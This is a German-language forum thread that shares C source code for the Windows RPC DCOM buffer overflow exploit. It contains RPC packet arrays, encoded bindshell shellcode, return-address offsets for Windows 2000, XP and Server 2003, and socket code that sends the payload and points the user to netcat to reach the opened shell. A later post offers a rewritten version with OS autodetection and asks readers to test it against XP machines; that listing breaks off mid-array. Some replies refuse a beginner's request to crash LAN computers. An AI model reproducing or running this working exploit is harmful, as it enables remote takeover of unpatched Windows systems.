Microsoft Windows RPC DCOM Interface Buffer Overflow Exploit

hmm, sollte aber nicht sein :/
ich hab jetzt noch des offset von anderen exploits noch reingemacht... teste mal des letzte, sollte für winxp (normal nur englisch aber evtl. auch für andere sprachen) sein

Code:
#ifdef WIN32
	#include <windows.h>
	#pragma comment( lib, "wsock32.lib" )
#else
	// ???
	// ???
	// ???
	#include <error.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
	#include <arpa/inet.h>
	#include <unistd.h>
	#include <netdb.h>
#endif
#include <stdio.h>

/* xfocus start */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
/* end xfocus */
/* k-optik start */
unsigned char sc[]=
	"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
	"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
	"\x46\x00\x58\x00\x46\x00\x58\x00"
	"\xff\xff\xff\xff" /* return address */
	
	"\xcc\xe0\xfd\x7f" /* primary thread data block */
	"\xcc\xe0\xfd\x7f" /* primary thread data block */
	/* bindshell no RPC crash, defineable spawn port */
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
	"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
	"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
	"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
	"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
	"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
	"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
	"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81"
	"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
	"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
	"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
	"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
	"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
	"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
	"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
	"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
	"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
	"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
	"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
	"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
	"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
	"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
	"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
	"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
	"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
	"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
	"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
	"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
	"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
	"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
	"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
	"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
/* k-optik end */
/* xfocus start */
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
/* end xfocus */

typedef struct
{
	char* lpszName;
	unsigned long nOffset;
} Target;
Target strTargets[] =
{
	{ "Win2k-Universal     (by k-optik)",	0x0018759F },
	{ "WinXP-Universal     (by k-optik)",	0x0100139D },
	{ "Windows Server 2003 (english)",		0x772254B0 },
	{ "Win2k/XP            (universal?)",	0x010016C6 },
	{ "Win2k all SP        (english only?)",0x010016C6 },
	{ "WinXP all SP        (english only?)",0x0100139D },
};

void PrintTargets()
{
	printf( "TargetIDs:\n" );
	for( int i = 0; i < sizeof( strTargets ) / sizeof( strTargets[ 0 ] ); i++ )
		printf( "\t%i=[0x%p] - %s\n", i, strTargets[ i ].nOffset, strTargets[ i ].lpszName );
}

int main( int argc, char **argv )
{
	// vars
	// ====
	unsigned long nTargetID;
	unsigned short nTargetPort = 135; // standard TargetPort
	hostent* lpstrTargetHost;
	SOCKADDR_IN strTargetAddr;
	SOCKET sSocket;
	/* drg start */	// BindPort
	unsigned short lportl	= 666; // standard BindPort
	char lport[ 5 ]			= "\x00\xFF\xFF\x8b";
	/* drg end */
	/* x-focus start */
	int len, len1;
	unsigned char buf1[0x1000];
	unsigned char buf2[0x1000];
	/* x-focus end */
#ifdef WIN32
	WSAData wsaData;
#endif

	// banner
	// ======
	printf( "DCOM/RPC Exploits rewritten by ScriptGod\n" );
	printf( "========================================\n" );

	// get parameter
	// =============
	if( argc < 3 )
	{
		printf( "%s <TargetID> <TargetIP> [TargetPort:%i] [BindPort:%i]\n", argv[ 0 ], nTargetPort, lportl );
		PrintTargets();
		return 1;
	}
	if( argc >= 4 )
		nTargetPort = atoi( argv[ 3 ] );
	if( argc >= 5 )
		lportl = atoi( argv[ 4 ] );

	// target id
	// =========
	nTargetID = atoi( argv[ 1 ] );
	if( nTargetID > sizeof( strTargets ) / sizeof( strTargets[ 0 ] ) - 1 )
	{
		printf( "[-] uknown target '%s'\n", argv[ 1 ] );
		PrintTargets();
		return 1;
	}

	// info banner
	// ===========
	printf( "[+] Target=%s:%i Bind=%i OFFSET=[0x%p]\n", argv[ 2 ], nTargetPort, lportl, strTargets[ nTargetID ].nOffset );

	// BindPort
	// ========
	/* drg start */
	lportl = htons( lportl );
	memcpy( &lport[ 1 ], &lportl, 2 );
	*(long*)lport = *(long*)lport ^ 0x9432BF80;
	memcpy( &sc[ 471 ], &lport, 4 );
	/* drg end */

#ifdef WIN32
	// windows socket startup
	// ======================
	if( WSAStartup( MAKEWORD( 1, 1 ), &wsaData ) )
	{
		perror( "[-] WSAStartup failed" );
		return 1;
	}
#endif
	
	// lookup target
	// =============
	lpstrTargetHost = gethostbyname( argv[ 2 ] );
	if( !lpstrTargetHost )
	{
		perror( "[-] gethostbyname failed" );
		return 1;
	}
	memset( &strTargetAddr, 0, sizeof( strTargetAddr ) );
	strTargetAddr.sin_family	= AF_INET;
	strTargetAddr.sin_addr		= *( (in_addr*)lpstrTargetHost->h_addr );
	strTargetAddr.sin_port		= htons( nTargetPort );

	// create socket
	// =============
	sSocket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
	if( sSocket == SOCKET_ERROR )
	{
		perror( "[-] socket failed" );
		return 1;
	}

	// connect
	// =======
	if( connect( sSocket, (sockaddr*)&strTargetAddr, sizeof( strTargetAddr ) ) == SOCKET_ERROR )
	{
		perror( "[-] connect failed" );
		closesocket( sSocket );
		return 1;
	}

	// copy/set offset
	// ===============
	memcpy( sc + 36, (unsigned char *)&strTargets[ nTargetID ].nOffset, 4 );

	/* xfocus start */
	len=sizeof(sc);
	memcpy(buf2,request1,sizeof(request1));
	len1=sizeof(request1);
	
	*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;  
	*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
	
	memcpy(buf2+len1,request2,sizeof(request2));
	len1=len1+sizeof(request2);
	memcpy(buf2+len1,sc,sizeof(sc));
	len1=len1+sizeof(sc);
	memcpy(buf2+len1,request3,sizeof(request3));
	len1=len1+sizeof(request3);
	memcpy(buf2+len1,request4,sizeof(request4));
	len1=len1+sizeof(request4);
	
	*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;

	*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;  
	*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
	*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
	*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
	*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
	*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
	*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
	/* end xfocus */

	// send (modified x-focus)
	// =======================
	if( send( sSocket, (char*)bindstr, sizeof( bindstr ), 0 ) == SOCKET_ERROR )
	{
		perror( "[-] send failed" );
		closesocket( sSocket );
		return 1;
	}
	len = recv( sSocket, (char*)buf1, sizeof( buf1 ), 0 );
	if( send( sSocket, (char*)buf2, len1, 0 ) == SOCKET_ERROR )
	{
		perror( "[-] send failed" );
		closesocket( sSocket );
		return 1;
	}

	// close socket
	// ============
	closesocket( sSocket );

	// instructions
	printf( "[+] done - use netcat to connect to %s:%i", argv[ 2 ], ntohs( lportl ) );

	return 0;
}
 
Könnt ihr mir mal bitte was erklären?

Hi Leutz, eine frage, wie benutze ich diese explosid? Ich bin leider in Sachen Programming n absoluter Nap! Wie benutze ich denn überhaupt programme die in c oder so geschrieben sind? Und wie soll ich denn z.B. im Lan einen Rechner mit xp oder 2k zum absturz etc. bringen?
Könnt ihr mir das bitte erklären? Ich bin euch sehr dankbar :D

mFg der_schuler
 
? wenn du nicht coden kannst ist wohl dass hier das falsche forum :P

wenn du c code komplilst, erhälst du ein programm, und mit dem programm kannst du dann halt was machen...

sorry, aber so fragen, wie bringe ich nen anderen pc zum absturz oder sowas, beantwort ich aus prinzip nicht! sowas weiß zum glück nicht jeder, und die die es wissen nutzen sowas dann im richtigen rahmen - der umstand ist schon in ordnung so!
 
RE: Könnt ihr mir mal bitte was erklären?

Original von der_schuler
Hi Leutz, eine frage, wie benutze ich diese explosid? ich bin leider in Sachen Programming n absoluter Nap! wie benutze ich denn überhaupt programme die in c oder so geschrieben sind? Und wie soll ich denn z.B. im Lan einen Rechner mit sp oder 2k zum absturz etc. bringen?
Könnt ihr mir das bitte erklären? Ich bin euch sehr dankbar :D

mFg der_schuler
Sorry das ich da etwas unfreundlich reagier.. du kommst mir nur einfach wie einer der
a.) "Hey mein Kumpen Sigi hat gesagt ich kann nicht seinen PC zum Absturz bringen!!!111"

oder
b.) "Der Herbert war so ein Arsch zu mir, wie kann ich seinen PC kaputt machen??ßß"

Typen vor..

Und deine Ausdrucksweise ist ebenfalls Präpubertär angehaucht.. :)

Flame me @ Privatmessage :P
 
genau! für klang des so als ob einer von der kategorie, wärst die keine ahnung haben, aber sich cool vorkommen wollen, in dem sie nen anderen ncuken oder hacken... sorry, aber es hat schon vorteile wenn die leute sich dieses wissen selber erarbeiten

zum nächsten punkt ;) ich hab des exploits umgerschrieben, der code ein wenig besser strukturiert, und ne 2k+XP autodetect funktion von nem anderen exploits eingebaut.. testet das mal bitten gegen ne xp rechner, sollte aber gehn
Code:
#ifdef WIN32
	#include <windows.h>
	#pragma comment( lib, "wsock32.lib" )
#else
	// ???
	// please correct the includes!!!
	#include <error.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
	#include <arpa/inet.h>
	#include <unistd.h>
	#include <netdb.h>
#endif
#include <stdio.h>

typedef struct
{
	char* lpszName;
	unsigned long nOffset;
} Target;
Target strTargets[] =
{
	{ "Win2k-Universal (by k-optik)",	0x0018759F },
	{ "WinXP-Universal (by k-optik)",	0x0100139D },
	{ "Win2k3 Server (english)",		0x772254B0 },
	{ "Win2k all SP (english only?)",	0x010016C6 },
	{ "WinXP all SP (english only?)",	0x0100139D },
	{ "Win2k/XP (universal?)",			0x010016C6 },
	{ "AUTODETECT (only Win2k + WinXP)",0x00000000 },
};
/* auto target */
#define TARGET_AUTO		6 // this TargetID is the "AUTO TargetID"
#define TARGET_AUTO_2K	0 // detect Win2k then use this TargetID
#define TARGET_AUTO_XP	1 // detect WinXP then use this TargetID

typedef enum
{
	OS_UNKNOWN		= 0,
	OS_WINDOWS_2000	= 1,
	OS_WINDOWS_XP	= 2,
} DetectedOS;

void ShowTargets();
DetectedOS DetectOS( sockaddr_in strAddr );

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char winshellcode[]=
  "\x05\x00\x00\x03\x10\x00\x00\x00\xa8\x06\x00\x00\xe5\x00\x00\x00"
  "\x90\x06\x00\x00\x01\x00\x04\x00\x05\x00\x06\x00\x01\x00\x00\x00"
  "\x00\x00\x00\x00\x32\x24\x58\xfd\xcc\x45\x64\x49\xb0\x70\xdd\xae"
  "\x74\x2c\x96\xd2\x60\x5e\x0d\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  "\x70\x5e\x0d\x00\x02\x00\x00\x00\x7c\x5e\x0d\x00\x00\x00\x00\x00"
  "\x10\x00\x00\x00\x80\x96\xf1\xf1\x2a\x4d\xce\x11\xa6\x6a\x00\x20"
  "\xaf\x6e\x72\xf4\x0c\x00\x00\x00\x4d\x41\x52\x42\x01\x00\x00\x00"
  "\x00\x00\x00\x00\x0d\xf0\xad\xba\x00\x00\x00\x00\xa8\xf4\x0b\x00"
  "\x20\x06\x00\x00\x20\x06\x00\x00\x4d\x45\x4f\x57\x04\x00\x00\x00"
  "\xa2\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46"
  "\x38\x03\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46"
  "\x00\x00\x00\x00\xf0\x05\x00\x00\xe8\x05\x00\x00\x00\x00\x00\x00"
  "\x01\x10\x08\x00\xcc\xcc\xcc\xcc\xc8\x00\x00\x00\x4d\x45\x4f\x57"
  "\xe8\x05\x00\x00\xd8\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00"
  "\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\xc4\x28\xcd\x00\x64\x29\xcd\x00\x00\x00\x00\x00"
  "\x07\x00\x00\x00\xb9\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00"
  "\x00\x00\x00\x46\xab\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00"
  "\x00\x00\x00\x46\xa5\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00"
  "\x00\x00\x00\x46\xa6\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00"
  "\x00\x00\x00\x46\xa4\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00"
  "\x00\x00\x00\x46\xad\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00"
  "\x00\x00\x00\x46\xaa\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00"
  "\x00\x00\x00\x46\x07\x00\x00\x00\x60\x00\x00\x00\x58\x00\x00\x00"
  "\x90\x00\x00\x00\x40\x00\x00\x00\x20\x00\x00\x00\x38\x03\x00\x00"
  "\x30\x00\x00\x00\x01\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc"
  "\x50\x00\x00\x00\x4f\xb6\x88\x20\xff\xff\xff\xff\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc"
  "\x48\x00\x00\x00\x07\x00\x66\x00\x06\x09\x02\x00\x00\x00\x00\x00"
  "\xc0\x00\x00\x00\x00\x00\x00\x46\x10\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x78\x19\x0c\x00"
  "\x58\x00\x00\x00\x05\x00\x06\x00\x01\x00\x00\x00\x70\xd8\x98\x93"
  "\x98\x4f\xd2\x11\xa9\x3d\xbe\x57\xb2\x00\x00\x00\x32\x00\x31\x00"
  "\x01\x10\x08\x00\xcc\xcc\xcc\xcc\x80\x00\x00\x00\x0d\xf0\xad\xba"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x18\x43\x14\x00\x00\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00"
  "\x4d\x45\x4f\x57\x04\x00\x00\x00\xc0\x01\x00\x00\x00\x00\x00\x00"
  "\xc0\x00\x00\x00\x00\x00\x00\x46\x3b\x03\x00\x00\x00\x00\x00\x00"
  "\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x30\x00\x00\x00"
  "\x01\x00\x01\x00\x81\xc5\x17\x03\x80\x0e\xe9\x4a\x99\x99\xf1\x8a"
  "\x50\x6f\x7a\x85\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  "\x01\x10\x08\x00\xcc\xcc\xcc\xcc\x30\x00\x00\x00\x78\x00\x6e\x00"
  "\x00\x00\x00\x00\xd8\xda\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x20\x2f\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
  "\x00\x00\x00\x00\x03\x00\x00\x00\x46\x00\x58\x00\x00\x00\x00\x00"
